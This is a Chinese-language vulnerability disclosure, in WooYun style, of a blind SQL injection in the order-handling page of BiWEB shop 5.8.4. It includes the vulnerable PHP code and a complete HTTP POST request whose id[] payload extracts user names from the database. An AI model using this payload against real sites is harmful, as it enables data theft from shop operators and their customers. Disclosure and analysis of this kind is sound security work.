### 简要描述: BiWEB最新商城版注入一枚(无视全局过滤) ### 详细说明: 看wooyun上看到了有人提了BiWEB的一个XSS漏洞: [WooYun: BIWEB商城版XSS盲打cookie](http://www.wooyun.org/bugs/wooyun-2014-049745) ,我来找找其他的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。 在用户操作订单的时候有个SQL注入漏洞,error-based blind 失败,bool-based blind成功,下面是分析产生过程及注入证明。 BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这里就先不说这种过滤的脑残之处了。 继续往下看,处理用户订单的文件/deal/adminu/my_deal.php(测试时记得要先注册一个用户并登录)。 ``` 无关代码 if ($_SERVER["REQUEST_METHOD"] == "POST"){ //id[]处理 $strId=implode(",",$_POST["id"]); $strId="(".$strId.")"; if($_POST['id'] == ''){ check::Alert('请选择订单',-1); } $arrInfo = $objWebInit->getDeal($strId); if($arrInfo['state'] ==6){ check::Alert('该订单已经完成,不能再操作',-1); } if($_POST['del'] !=''){ if($arrInfo['type_id'] == 1){//当订单状态为:新订单,待确认 ,可以取消...
### 简要描述: BiWEB最新商城版注入一枚(无视全局过滤) ### 详细说明: 看wooyun上看到了有人提了BiWEB的一个XSS漏洞: [WooYun: BIWEB商城版XSS盲打cookie](http://www.wooyun.org/bugs/wooyun-2014-049745) ,我来找找其他的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。 在用户操作订单的时候有个SQL注入漏洞,error-based blind 失败,bool-based blind成功,下面是分析产生过程及注入证明。 BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这里就先不说这种过滤的脑残之处了。 继续往下看,处理用户订单的文件/deal/adminu/my_deal.php(测试时记得要先注册一个用户并登录)。 ``` 无关代码 if ($_SERVER["REQUEST_METHOD"] == "POST"){ //id[]处理 $strId=implode(",",$_POST["id"]); $strId="(".$strId.")"; if($_POST['id'] == ''){ check::Alert('请选择订单',-1); } $arrInfo = $objWebInit->getDeal($strId); if($arrInfo['state'] ==6){ check::Alert('该订单已经完成,不能再操作',-1); } if($_POST['del'] !=''){ if($arrInfo['type_id'] == 1){//当订单状态为:新订单,待确认 ,可以取消 if($objWebInit->deleteDeal($strId)){ check::Alert('取消订单成功',-1); } else { check::Alert('取消订单失败',-1); } }else{ check::Alert('您无法取消订单,请跟商家联系!',-1); } }else{ if($arrInfo['type_id'] != 5){//当订单状态为:新订单,待确认 ,可以取消 if($objWebInit->SuccessDeal($strId)){ check::Alert('交易成功',-1); } else { check::Alert('交易失败',-1); } }else{ check::Alert('此订单已经交易成功!',-1); } } } 无关代码 ``` 这是操作订单的代码,就是取消订单,可以看到,需要POST一个数组,但是POST的数据是数字型的,也就可以绕过全局过滤了。再看看后面有没有对这里POST的值进行过滤,上面代码执行了$arrInfo = $objWebInit->getDeal($strId);,去看看getDeal()。 ``` function getDeal($id,$pass=null){ if($pass!=null) $where= " and pass='$pass'"; else $where=""; $strSQL = "SELECT * FROM $this->tablename2 ". " Where id in ".$id.$where; $rs = $this->db->query($strSQL); return $rs->fetch(); ``` 到这里问题就来了,直接执行SQL了。登录,抓包,修改,增加payload。 Payload: ``` POST /deal/adminu/my_deal.php HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* Referer: http://192.168.0.107/deal/adminu/my_deal.php Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0) Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Host: 192.168.0.107 Content-Length: 147 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: AJSTAT_ok_times=1; PHPSESSID=dg65p98c6jmaasrkc1vld9avt1 user_name=XXXXX&del=%E5%8F%96%E6%B6%88%E8%AE%A2%E5%8D%95&id[]=1&id[]=1) and mid((select user_name from biweb_user limit 0,1),1,1)='a' and (1)=(1 ``` 因为是bool-based blind,所以当猜测正确时,是这样的 [<img src="https://images.seebug.org/upload/201411/070008391271da2e51e0fd523c958bb1dc34a9ed.jpg" alt="bool注入条件成立副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/070008391271da2e51e0fd523c958bb1dc34a9ed.jpg) SQL执行情况 [<img src="https://images.seebug.org/upload/201411/0700085216ece18d042b88102ff676734101ad39.jpg" alt="bool注入条件成立时执行的SQL语句副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/0700085216ece18d042b88102ff676734101ad39.jpg) 如果猜测不对 [<img src="https://images.seebug.org/upload/201411/07000922b7d49e9d98dc4fe76af0801b6168bf8d.jpg" alt="bool注入条件不成立副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/07000922b7d49e9d98dc4fe76af0801b6168bf8d.jpg) 手工只是为了证明存在漏洞,利用时,可以写脚本,可以用工具,否则手工会累死人。 ### 漏洞证明: 见 详细说明